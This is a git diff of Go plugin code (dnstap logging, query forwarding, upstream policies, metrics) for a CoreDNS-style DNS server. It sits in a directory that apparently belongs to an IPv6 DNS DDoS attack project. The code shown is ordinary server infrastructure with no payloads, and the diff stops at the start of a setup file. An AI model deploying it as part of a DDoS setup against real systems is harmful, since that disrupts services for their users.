h.tapQuery(w, r, rw.queryTime)
|
||||
|
||||
return plugin.NextOrFailure(h.Name(), h.Next, ctx, rw, r)
|
||||
}
|
||||
|
||||
// Name implements the plugin.Plugin interface.
|
||||
func (h Dnstap) Name() string { return "dnstap" }
|
||||
40
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/encoder.go
Normal file
40
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/encoder.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"io"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
fs "github.com/farsightsec/golang-framestream"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// encoder wraps a golang-framestream.Encoder.
|
||||
type encoder struct {
|
||||
fs *fs.Encoder
|
||||
}
|
||||
|
||||
func newEncoder(w io.Writer, timeout time.Duration) (*encoder, error) {
|
||||
fs, err := fs.NewEncoder(w, &fs.EncoderOptions{
|
||||
ContentType: []byte("protobuf:dnstap.Dnstap"),
|
||||
Bidirectional: true,
|
||||
Timeout: timeout,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &encoder{fs}, nil
|
||||
}
|
||||
|
||||
func (e *encoder) writeMsg(msg *tap.Dnstap) error {
|
||||
buf, err := proto.Marshal(msg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = e.fs.Write(buf) // n < len(buf) should return an error?
|
||||
return err
|
||||
}
|
||||
|
||||
func (e *encoder) flush() error { return e.fs.Flush() }
|
||||
func (e *encoder) close() error { return e.fs.Close() }
|
||||
143
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/io.go
Normal file
143
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/io.go
Normal file
@@ -0,0 +1,143 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
)
|
||||
|
||||
// tapper interface is used in testing to mock the Dnstap method.
|
||||
type tapper interface {
|
||||
Dnstap(*tap.Dnstap)
|
||||
}
|
||||
|
||||
// dio implements the Tapper interface.
|
||||
type dio struct {
|
||||
endpoint string
|
||||
proto string
|
||||
enc *encoder
|
||||
queue chan *tap.Dnstap
|
||||
dropped uint32
|
||||
quit chan struct{}
|
||||
flushTimeout time.Duration
|
||||
tcpTimeout time.Duration
|
||||
skipVerify bool
|
||||
}
|
||||
|
||||
// newIO returns a new and initialized pointer to a dio.
|
||||
func newIO(proto, endpoint string) *dio {
|
||||
return &dio{
|
||||
endpoint: endpoint,
|
||||
proto: proto,
|
||||
queue: make(chan *tap.Dnstap, queueSize),
|
||||
quit: make(chan struct{}),
|
||||
flushTimeout: flushTimeout,
|
||||
tcpTimeout: tcpTimeout,
|
||||
skipVerify: skipVerify,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *dio) dial() error {
|
||||
var conn net.Conn
|
||||
var err error
|
||||
|
||||
if d.proto == "tls" {
|
||||
config := &tls.Config{
|
||||
InsecureSkipVerify: d.skipVerify,
|
||||
}
|
||||
dialer := &net.Dialer{
|
||||
Timeout: d.tcpTimeout,
|
||||
}
|
||||
conn, err = tls.DialWithDialer(dialer, "tcp", d.endpoint, config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
conn, err = net.DialTimeout(d.proto, d.endpoint, d.tcpTimeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if tcpConn, ok := conn.(*net.TCPConn); ok {
|
||||
tcpConn.SetWriteBuffer(tcpWriteBufSize)
|
||||
tcpConn.SetNoDelay(false)
|
||||
}
|
||||
|
||||
d.enc, err = newEncoder(conn, d.tcpTimeout)
|
||||
return err
|
||||
}
|
||||
|
||||
// Connect connects to the dnstap endpoint.
|
||||
func (d *dio) connect() error {
|
||||
err := d.dial()
|
||||
go d.serve()
|
||||
return err
|
||||
}
|
||||
|
||||
// Dnstap enqueues the payload for log.
|
||||
func (d *dio) Dnstap(payload *tap.Dnstap) {
|
||||
select {
|
||||
case d.queue <- payload:
|
||||
default:
|
||||
atomic.AddUint32(&d.dropped, 1)
|
||||
}
|
||||
}
|
||||
|
||||
// close waits until the I/O routine is finished to return.
|
||||
func (d *dio) close() { close(d.quit) }
|
||||
|
||||
func (d *dio) write(payload *tap.Dnstap) error {
|
||||
if d.enc == nil {
|
||||
atomic.AddUint32(&d.dropped, 1)
|
||||
return nil
|
||||
}
|
||||
if err := d.enc.writeMsg(payload); err != nil {
|
||||
atomic.AddUint32(&d.dropped, 1)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *dio) serve() {
|
||||
timeout := time.NewTimer(d.flushTimeout)
|
||||
defer timeout.Stop()
|
||||
for {
|
||||
timeout.Reset(d.flushTimeout)
|
||||
select {
|
||||
case <-d.quit:
|
||||
if d.enc == nil {
|
||||
return
|
||||
}
|
||||
d.enc.flush()
|
||||
d.enc.close()
|
||||
return
|
||||
case payload := <-d.queue:
|
||||
if err := d.write(payload); err != nil {
|
||||
d.dial()
|
||||
}
|
||||
case <-timeout.C:
|
||||
if dropped := atomic.SwapUint32(&d.dropped, 0); dropped > 0 {
|
||||
log.Warningf("Dropped dnstap messages: %d", dropped)
|
||||
}
|
||||
if d.enc == nil {
|
||||
d.dial()
|
||||
} else {
|
||||
d.enc.flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
tcpWriteBufSize = 1024 * 1024 // there is no good explanation for why this number has this value.
|
||||
queueSize = 10000 // idem.
|
||||
|
||||
tcpTimeout = 4 * time.Second
|
||||
flushTimeout = 1 * time.Second
|
||||
|
||||
skipVerify = false // by default, every tls connection is verified to be secure
|
||||
)
|
||||
97
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/msg/msg.go
Normal file
97
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/msg/msg.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package msg
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
)
|
||||
|
||||
var (
|
||||
protoUDP = tap.SocketProtocol_UDP
|
||||
protoTCP = tap.SocketProtocol_TCP
|
||||
familyINET = tap.SocketFamily_INET
|
||||
familyINET6 = tap.SocketFamily_INET6
|
||||
)
|
||||
|
||||
// SetQueryAddress adds the query address to the message. This also sets the SocketFamily and SocketProtocol.
|
||||
func SetQueryAddress(t *tap.Message, addr net.Addr) error {
|
||||
t.SocketFamily = &familyINET
|
||||
switch a := addr.(type) {
|
||||
case *net.TCPAddr:
|
||||
t.SocketProtocol = &protoTCP
|
||||
t.QueryAddress = a.IP
|
||||
|
||||
p := uint32(a.Port)
|
||||
t.QueryPort = &p
|
||||
|
||||
if a.IP.To4() == nil {
|
||||
t.SocketFamily = &familyINET6
|
||||
}
|
||||
return nil
|
||||
case *net.UDPAddr:
|
||||
t.SocketProtocol = &protoUDP
|
||||
t.QueryAddress = a.IP
|
||||
|
||||
p := uint32(a.Port)
|
||||
t.QueryPort = &p
|
||||
|
||||
if a.IP.To4() == nil {
|
||||
t.SocketFamily = &familyINET6
|
||||
}
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("unknown address type: %T", a)
|
||||
}
|
||||
}
|
||||
|
||||
// SetResponseAddress the response address to the message. This also sets the SocketFamily and SocketProtocol.
|
||||
func SetResponseAddress(t *tap.Message, addr net.Addr) error {
|
||||
t.SocketFamily = &familyINET
|
||||
switch a := addr.(type) {
|
||||
case *net.TCPAddr:
|
||||
t.SocketProtocol = &protoTCP
|
||||
t.ResponseAddress = a.IP
|
||||
|
||||
p := uint32(a.Port)
|
||||
t.ResponsePort = &p
|
||||
|
||||
if a.IP.To4() == nil {
|
||||
t.SocketFamily = &familyINET6
|
||||
}
|
||||
return nil
|
||||
case *net.UDPAddr:
|
||||
t.SocketProtocol = &protoUDP
|
||||
t.ResponseAddress = a.IP
|
||||
|
||||
p := uint32(a.Port)
|
||||
t.ResponsePort = &p
|
||||
|
||||
if a.IP.To4() == nil {
|
||||
t.SocketFamily = &familyINET6
|
||||
}
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("unknown address type: %T", a)
|
||||
}
|
||||
}
|
||||
|
||||
// SetQueryTime sets the time of the query in t.
|
||||
func SetQueryTime(t *tap.Message, ti time.Time) {
|
||||
qts := uint64(ti.Unix())
|
||||
qtn := uint32(ti.Nanosecond())
|
||||
t.QueryTimeSec = &qts
|
||||
t.QueryTimeNsec = &qtn
|
||||
}
|
||||
|
||||
// SetResponseTime sets the time of the response in t.
|
||||
func SetResponseTime(t *tap.Message, ti time.Time) {
|
||||
rts := uint64(ti.Unix())
|
||||
rtn := uint32(ti.Nanosecond())
|
||||
t.ResponseTimeSec = &rts
|
||||
t.ResponseTimeNsec = &rtn
|
||||
}
|
||||
|
||||
// SetType sets the type in t.
|
||||
func SetType(t *tap.Message, typ tap.Message_Type) { t.Type = &typ }
|
||||
131
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/setup.go
Normal file
131
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/setup.go
Normal file
@@ -0,0 +1,131 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
var log = olog.NewWithPlugin("dnstap")
|
||||
|
||||
func init() { plugin.Register("dnstap", setup) }
|
||||
|
||||
func parseConfig(c *caddy.Controller) ([]*Dnstap, error) {
|
||||
dnstaps := []*Dnstap{}
|
||||
|
||||
for c.Next() { // directive name
|
||||
d := Dnstap{}
|
||||
endpoint := ""
|
||||
|
||||
args := c.RemainingArgs()
|
||||
|
||||
if len(args) == 0 {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
|
||||
endpoint = args[0]
|
||||
|
||||
var dio *dio
|
||||
if strings.HasPrefix(endpoint, "tls://") {
|
||||
// remote network endpoint
|
||||
endpointURL, err := url.Parse(endpoint)
|
||||
if err != nil {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
dio = newIO("tls", endpointURL.Host)
|
||||
d = Dnstap{io: dio}
|
||||
} else if strings.HasPrefix(endpoint, "tcp://") {
|
||||
// remote network endpoint
|
||||
endpointURL, err := url.Parse(endpoint)
|
||||
if err != nil {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
dio = newIO("tcp", endpointURL.Host)
|
||||
d = Dnstap{io: dio}
|
||||
} else {
|
||||
endpoint = strings.TrimPrefix(endpoint, "unix://")
|
||||
dio = newIO("unix", endpoint)
|
||||
d = Dnstap{io: dio}
|
||||
}
|
||||
|
||||
d.IncludeRawMessage = len(args) == 2 && args[1] == "full"
|
||||
|
||||
hostname, _ := os.Hostname()
|
||||
d.Identity = []byte(hostname)
|
||||
d.Version = []byte(caddy.AppName + "-" + caddy.AppVersion)
|
||||
|
||||
for c.NextBlock() {
|
||||
switch c.Val() {
|
||||
case "skipverify":
|
||||
{
|
||||
dio.skipVerify = true
|
||||
}
|
||||
case "identity":
|
||||
{
|
||||
if !c.NextArg() {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
d.Identity = []byte(c.Val())
|
||||
}
|
||||
case "version":
|
||||
{
|
||||
if !c.NextArg() {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
d.Version = []byte(c.Val())
|
||||
}
|
||||
}
|
||||
}
|
||||
dnstaps = append(dnstaps, &d)
|
||||
}
|
||||
return dnstaps, nil
|
||||
}
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
dnstaps, err := parseConfig(c)
|
||||
if err != nil {
|
||||
return plugin.Error("dnstap", err)
|
||||
}
|
||||
|
||||
for i := range dnstaps {
|
||||
dnstap := dnstaps[i]
|
||||
c.OnStartup(func() error {
|
||||
if err := dnstap.io.(*dio).connect(); err != nil {
|
||||
log.Errorf("No connection to dnstap endpoint: %s", err)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
c.OnRestart(func() error {
|
||||
dnstap.io.(*dio).close()
|
||||
return nil
|
||||
})
|
||||
|
||||
c.OnFinalShutdown(func() error {
|
||||
dnstap.io.(*dio).close()
|
||||
return nil
|
||||
})
|
||||
|
||||
if i == len(dnstaps)-1 {
|
||||
// last dnstap plugin in block: point next to next plugin
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
dnstap.Next = next
|
||||
return dnstap
|
||||
})
|
||||
} else {
|
||||
// not last dnstap plugin in block: point next to next dnstap
|
||||
nextDnstap := dnstaps[i+1]
|
||||
dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler {
|
||||
dnstap.Next = nextDnstap
|
||||
return dnstap
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
39
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/writer.go
Normal file
39
att script/3_v6_DDoS/code/辅助权威服务器/plugin/dnstap/writer.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package dnstap
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin/dnstap/msg"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// ResponseWriter captures the client response and logs the query to dnstap.
|
||||
type ResponseWriter struct {
|
||||
queryTime time.Time
|
||||
query *dns.Msg
|
||||
dns.ResponseWriter
|
||||
Dnstap
|
||||
}
|
||||
|
||||
// WriteMsg writes back the response to the client and THEN works on logging the request and response to dnstap.
|
||||
func (w *ResponseWriter) WriteMsg(resp *dns.Msg) error {
|
||||
err := w.ResponseWriter.WriteMsg(resp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
r := new(tap.Message)
|
||||
msg.SetQueryTime(r, w.queryTime)
|
||||
msg.SetResponseTime(r, time.Now())
|
||||
msg.SetQueryAddress(r, w.RemoteAddr())
|
||||
|
||||
if w.IncludeRawMessage {
|
||||
buf, _ := resp.Pack()
|
||||
r.ResponseMessage = buf
|
||||
}
|
||||
|
||||
msg.SetType(r, tap.Message_CLIENT_RESPONSE)
|
||||
w.TapMessage(r)
|
||||
return nil
|
||||
}
|
||||
64
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/dnstap.go
Normal file
64
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/dnstap.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"net"
|
||||
"ohmydns2/plugin/dnstap/msg"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
tap "github.com/dnstap/golang-dnstap"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// toDnstap will send the forward and received message to the dnstap plugin.
|
||||
func toDnstap(f *Forward, host string, state request.Request, opts proxy.Options, reply *dns.Msg, start time.Time) {
|
||||
h, p, _ := net.SplitHostPort(host) // this is preparsed and can't err here
|
||||
port, _ := strconv.ParseUint(p, 10, 32) // same here
|
||||
ip := net.ParseIP(h)
|
||||
|
||||
var ta net.Addr = &net.UDPAddr{IP: ip, Port: int(port)}
|
||||
t := state.Proto()
|
||||
switch {
|
||||
case opts.ForceTCP:
|
||||
t = "tcp"
|
||||
case opts.PreferUDP:
|
||||
t = "udp"
|
||||
}
|
||||
|
||||
if t == "tcp" {
|
||||
ta = &net.TCPAddr{IP: ip, Port: int(port)}
|
||||
}
|
||||
|
||||
for _, t := range f.tapPlugins {
|
||||
// Query
|
||||
q := new(tap.Message)
|
||||
msg.SetQueryTime(q, start)
|
||||
// Forwarder dnstap messages are from the perspective of the downstream server
|
||||
// (upstream is the forward server)
|
||||
msg.SetQueryAddress(q, state.W.RemoteAddr())
|
||||
msg.SetResponseAddress(q, ta)
|
||||
if t.IncludeRawMessage {
|
||||
buf, _ := state.Req.Pack()
|
||||
q.QueryMessage = buf
|
||||
}
|
||||
msg.SetType(q, tap.Message_FORWARDER_QUERY)
|
||||
t.TapMessage(q)
|
||||
|
||||
// Response
|
||||
if reply != nil {
|
||||
r := new(tap.Message)
|
||||
if t.IncludeRawMessage {
|
||||
buf, _ := reply.Pack()
|
||||
r.ResponseMessage = buf
|
||||
}
|
||||
msg.SetQueryTime(r, start)
|
||||
msg.SetQueryAddress(r, state.W.RemoteAddr())
|
||||
msg.SetResponseAddress(r, ta)
|
||||
msg.SetResponseTime(r, time.Now())
|
||||
msg.SetType(r, tap.Message_FORWARDER_RESPONSE)
|
||||
t.TapMessage(r)
|
||||
}
|
||||
}
|
||||
}
|
||||
250
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/forward.go
Normal file
250
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/forward.go
Normal file
@@ -0,0 +1,250 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
ot "github.com/opentracing/opentracing-go"
|
||||
otext "github.com/opentracing/opentracing-go/ext"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/debug"
|
||||
"ohmydns2/plugin/dnstap"
|
||||
"ohmydns2/plugin/metadata"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
var defaultTimeout = 5 * time.Second
|
||||
|
||||
// Forward represents a plugin instance that can proxy requests to another (DNS) server. It has a list
|
||||
// of proxies each representing one upstream proxy.
|
||||
type Forward struct {
|
||||
concurrent int64 // atomic counters need to be first in struct for proper alignment
|
||||
|
||||
proxies []*proxy.Proxy
|
||||
p Policy
|
||||
hcInterval time.Duration
|
||||
|
||||
from string
|
||||
ignored []string
|
||||
|
||||
tlsConfig *tls.Config
|
||||
tlsServerName string
|
||||
maxfails uint32
|
||||
expire time.Duration
|
||||
maxConcurrent int64
|
||||
|
||||
opts proxy.Options // also here for testing
|
||||
|
||||
// ErrLimitExceeded indicates that a query was rejected because the number of concurrent queries has exceeded
|
||||
// the maximum allowed (maxConcurrent)
|
||||
ErrLimitExceeded error
|
||||
|
||||
tapPlugins []*dnstap.Dnstap // when dnstap plugins are loaded, we use to this to send messages out.
|
||||
|
||||
Next plugin.Handler
|
||||
}
|
||||
|
||||
// New returns a new Forward.
|
||||
func New() *Forward {
|
||||
f := &Forward{maxfails: 2, tlsConfig: new(tls.Config), expire: defaultExpire, p: new(random), from: ".", hcInterval: hcInterval, opts: proxy.Options{ForceTCP: false, PreferUDP: false, HCRecursionDesired: true, HCDomain: "."}}
|
||||
return f
|
||||
}
|
||||
|
||||
// SetProxy appends p to the proxy list and starts healthchecking.
|
||||
func (f *Forward) SetProxy(p *proxy.Proxy) {
|
||||
f.proxies = append(f.proxies, p)
|
||||
p.Start(f.hcInterval)
|
||||
}
|
||||
|
||||
// SetTapPlugin appends one or more dnstap plugins to the tap plugin list.
|
||||
func (f *Forward) SetTapPlugin(tapPlugin *dnstap.Dnstap) {
|
||||
f.tapPlugins = append(f.tapPlugins, tapPlugin)
|
||||
if nextPlugin, ok := tapPlugin.Next.(*dnstap.Dnstap); ok {
|
||||
f.SetTapPlugin(nextPlugin)
|
||||
}
|
||||
}
|
||||
|
||||
// Len returns the number of configured proxies.
|
||||
func (f *Forward) Len() int { return len(f.proxies) }
|
||||
|
||||
// Name implements plugin.Handler.
|
||||
func (f *Forward) Name() string { return "forward" }
|
||||
|
||||
// ServeDNS implements plugin.Handler.
|
||||
func (f *Forward) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
if !f.match(state) {
|
||||
return plugin.NextOrFailure(f.Name(), f.Next, ctx, w, r)
|
||||
}
|
||||
|
||||
if f.maxConcurrent > 0 {
|
||||
count := atomic.AddInt64(&(f.concurrent), 1)
|
||||
defer atomic.AddInt64(&(f.concurrent), -1)
|
||||
if count > f.maxConcurrent {
|
||||
MaxConcurrentRejectCount.Add(1)
|
||||
return dns.RcodeRefused, f.ErrLimitExceeded
|
||||
}
|
||||
}
|
||||
|
||||
fails := 0
|
||||
var span, child ot.Span
|
||||
var upstreamErr error
|
||||
span = ot.SpanFromContext(ctx)
|
||||
i := 0
|
||||
list := f.List()
|
||||
deadline := time.Now().Add(defaultTimeout)
|
||||
start := time.Now()
|
||||
for time.Now().Before(deadline) {
|
||||
if i >= len(list) {
|
||||
// reached the end of list, reset to begin
|
||||
i = 0
|
||||
fails = 0
|
||||
}
|
||||
|
||||
pProxy := list[i]
|
||||
i++
|
||||
if pProxy.Down(f.maxfails) {
|
||||
fails++
|
||||
if fails < len(f.proxies) {
|
||||
continue
|
||||
}
|
||||
// All upstream proxies are dead, assume healthcheck is completely broken and randomly
|
||||
// select an upstream to connect to.
|
||||
r := new(random)
|
||||
pProxy = r.List(f.proxies)[0]
|
||||
|
||||
HealthcheckBrokenCount.Add(1)
|
||||
}
|
||||
|
||||
if span != nil {
|
||||
child = span.Tracer().StartSpan("connect", ot.ChildOf(span.Context()))
|
||||
otext.PeerAddress.Set(child, pProxy.Addr())
|
||||
ctx = ot.ContextWithSpan(ctx, child)
|
||||
}
|
||||
|
||||
metadata.SetValueFunc(ctx, "forward/upstream", func() string {
|
||||
return pProxy.Addr()
|
||||
})
|
||||
|
||||
var (
|
||||
ret *dns.Msg
|
||||
err error
|
||||
)
|
||||
opts := f.opts
|
||||
|
||||
for {
|
||||
ret, err = pProxy.Connect(ctx, state, opts)
|
||||
if err == ErrCachedClosed { // Remote side closed conn, can only happen with TCP.
|
||||
continue
|
||||
}
|
||||
// Retry with TCP if truncated and prefer_udp configured.
|
||||
if ret != nil && ret.Truncated && !opts.ForceTCP && opts.PreferUDP {
|
||||
opts.ForceTCP = true
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
if child != nil {
|
||||
child.Finish()
|
||||
}
|
||||
|
||||
if len(f.tapPlugins) != 0 {
|
||||
toDnstap(f, pProxy.Addr(), state, opts, ret, start)
|
||||
}
|
||||
|
||||
upstreamErr = err
|
||||
|
||||
if err != nil {
|
||||
// Kick off health check to see if *our* upstream is broken.
|
||||
if f.maxfails != 0 {
|
||||
pProxy.Healthcheck()
|
||||
}
|
||||
|
||||
if fails < len(f.proxies) {
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
// Check if the reply is correct; if not return FormErr.
|
||||
if !state.Match(ret) {
|
||||
debug.Hexdumpf(ret, "Wrong reply for id: %d, %s %d", ret.Id, state.QName(), state.QType())
|
||||
|
||||
formerr := new(dns.Msg)
|
||||
formerr.SetRcode(state.Req, dns.RcodeFormatError)
|
||||
w.WriteMsg(formerr)
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
w.WriteMsg(ret)
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
if upstreamErr != nil {
|
||||
return dns.RcodeServerFailure, upstreamErr
|
||||
}
|
||||
|
||||
return dns.RcodeServerFailure, ErrNoHealthy
|
||||
}
|
||||
|
||||
func (f *Forward) match(state request.Request) bool {
|
||||
if !plugin.Name(f.from).Matches(state.Name()) || !f.isAllowedDomain(state.Name()) {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (f *Forward) isAllowedDomain(name string) bool {
|
||||
if dns.Name(name) == dns.Name(f.from) {
|
||||
return true
|
||||
}
|
||||
|
||||
for _, ignore := range f.ignored {
|
||||
if plugin.Name(ignore).Matches(name) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// ForceTCP returns if TCP is forced to be used even when the request comes in over UDP.
|
||||
func (f *Forward) ForceTCP() bool { return f.opts.ForceTCP }
|
||||
|
||||
// PreferUDP returns if UDP is preferred to be used even when the request comes in over TCP.
|
||||
func (f *Forward) PreferUDP() bool { return f.opts.PreferUDP }
|
||||
|
||||
// List returns a set of proxies to be used for this client depending on the policy in f.
|
||||
func (f *Forward) List() []*proxy.Proxy { return f.p.List(f.proxies) }
|
||||
|
||||
var (
|
||||
// ErrNoHealthy means no healthy proxies left.
|
||||
ErrNoHealthy = errors.New("no healthy proxies")
|
||||
// ErrNoForward means no forwarder defined.
|
||||
ErrNoForward = errors.New("no forwarder defined")
|
||||
// ErrCachedClosed means cached connection was closed by peer.
|
||||
ErrCachedClosed = errors.New("cached connection was closed by peer")
|
||||
)
|
||||
|
||||
// Options holds various Options that can be set.
|
||||
type Options struct {
|
||||
// ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag
|
||||
ForceTCP bool
|
||||
// PreferUDP use UDP protocol for upstream DNS request.
|
||||
PreferUDP bool
|
||||
// HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests
|
||||
HCRecursionDesired bool
|
||||
// HCDomain sets domain for Proxy healthcheck requests
|
||||
HCDomain string
|
||||
}
|
||||
|
||||
const (
|
||||
defaultExpire = 10 * time.Second
|
||||
hcInterval = 500 * time.Millisecond
|
||||
)
|
||||
24
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/metric.go
Normal file
24
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/metric.go
Normal file
@@ -0,0 +1,24 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin"
|
||||
|
||||
"github.com/prometheus/client_golang/prometheus"
|
||||
"github.com/prometheus/client_golang/prometheus/promauto"
|
||||
)
|
||||
|
||||
// Variables declared for monitoring.
|
||||
var (
|
||||
HealthcheckBrokenCount = promauto.NewCounter(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "forward",
|
||||
Name: "healthcheck_broken_total",
|
||||
Help: "Counter of the number of complete failures of the healthchecks.",
|
||||
})
|
||||
MaxConcurrentRejectCount = promauto.NewCounter(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "forward",
|
||||
Name: "max_concurrent_rejects_total",
|
||||
Help: "Counter of the number of queries rejected because the concurrent queries were at maximum.",
|
||||
})
|
||||
)
|
||||
68
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/policy.go
Normal file
68
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/policy.go
Normal file
@@ -0,0 +1,68 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
"ohmydns2/plugin/pkg/rand"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Policy defines a policy we use for selecting upstreams.
|
||||
type Policy interface {
|
||||
List([]*proxy.Proxy) []*proxy.Proxy
|
||||
String() string
|
||||
}
|
||||
|
||||
// random is a policy that implements random upstream selection.
|
||||
type random struct{}
|
||||
|
||||
func (r *random) String() string { return "random" }
|
||||
|
||||
func (r *random) List(p []*proxy.Proxy) []*proxy.Proxy {
|
||||
switch len(p) {
|
||||
case 1:
|
||||
return p
|
||||
case 2:
|
||||
if rn.Int()%2 == 0 {
|
||||
return []*proxy.Proxy{p[1], p[0]} // swap
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
perms := rn.Perm(len(p))
|
||||
rnd := make([]*proxy.Proxy, len(p))
|
||||
|
||||
for i, p1 := range perms {
|
||||
rnd[i] = p[p1]
|
||||
}
|
||||
return rnd
|
||||
}
|
||||
|
||||
// roundRobin is a policy that selects hosts based on round robin ordering.
|
||||
type roundRobin struct {
|
||||
robin uint32
|
||||
}
|
||||
|
||||
func (r *roundRobin) String() string { return "round_robin" }
|
||||
|
||||
func (r *roundRobin) List(p []*proxy.Proxy) []*proxy.Proxy {
|
||||
poolLen := uint32(len(p))
|
||||
i := atomic.AddUint32(&r.robin, 1) % poolLen
|
||||
|
||||
robin := []*proxy.Proxy{p[i]}
|
||||
robin = append(robin, p[:i]...)
|
||||
robin = append(robin, p[i+1:]...)
|
||||
|
||||
return robin
|
||||
}
|
||||
|
||||
// sequential is a policy that selects hosts based on sequential ordering.
|
||||
type sequential struct{}
|
||||
|
||||
func (r *sequential) String() string { return "sequential" }
|
||||
|
||||
func (r *sequential) List(p []*proxy.Proxy) []*proxy.Proxy {
|
||||
return p
|
||||
}
|
||||
|
||||
var rn = rand.New(time.Now().UnixNano())
|
||||
291
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/setup.go
Normal file
291
att script/3_v6_DDoS/code/辅助权威服务器/plugin/forward/setup.go
Normal file
@@ -0,0 +1,291 @@
|
||||
package forward
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
"fmt"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/dnstap"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/parse"
|
||||
"ohmydns2/plugin/pkg/proxy"
|
||||
pkgtls "ohmydns2/plugin/pkg/tls"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
